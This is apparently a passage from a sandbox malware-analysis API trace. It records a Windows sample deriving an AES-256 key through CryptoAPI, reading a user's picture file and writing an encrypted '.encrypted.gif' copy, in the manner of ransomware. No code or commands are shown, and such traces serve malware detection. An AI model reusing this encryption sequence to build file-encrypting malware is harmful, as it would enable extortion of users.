wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.882] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.882] CryptCreateHash (in: hProv=0xe8f4199930, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.882] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.882] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.883] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.883] CryptDeriveKey (in: hProv=0xe8f4199930, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.883] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.883] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.883] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.883] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0028.884] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\pwettxmsacc5.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.886] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures")) returned 0x11 [0028.886] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\pwettxmsacc5.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.886] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.888] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xdea5, lpOverlapped=0x0) returned 1 [0028.889] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.891] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.891] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.892] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.892] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.892] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.892] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.892] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.893] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.893] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.894] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.895] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.895] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdea5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdeb0) returned 1 [0028.895] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.895] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.895] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.895] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.895] CharLowerBuffW (in: lpsz="byte[57009]", cchLength=0xb | out: lpsz="byte[57009]") returned 0xb [0028.895] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.896] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.896] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a3c40*, pdwDataLen=0xe8f3dfdf68*=0xdea5, dwBufLen=0xdeb0 | out: pbData=0xe8f43a3c40*, pdwDataLen=0xe8f3dfdf68*=0xdeb0) returned 1 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.896] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.896] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.897] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.897] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.897] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.897] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.904] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.904] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.904] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.904] CharUpperBuffW (in: 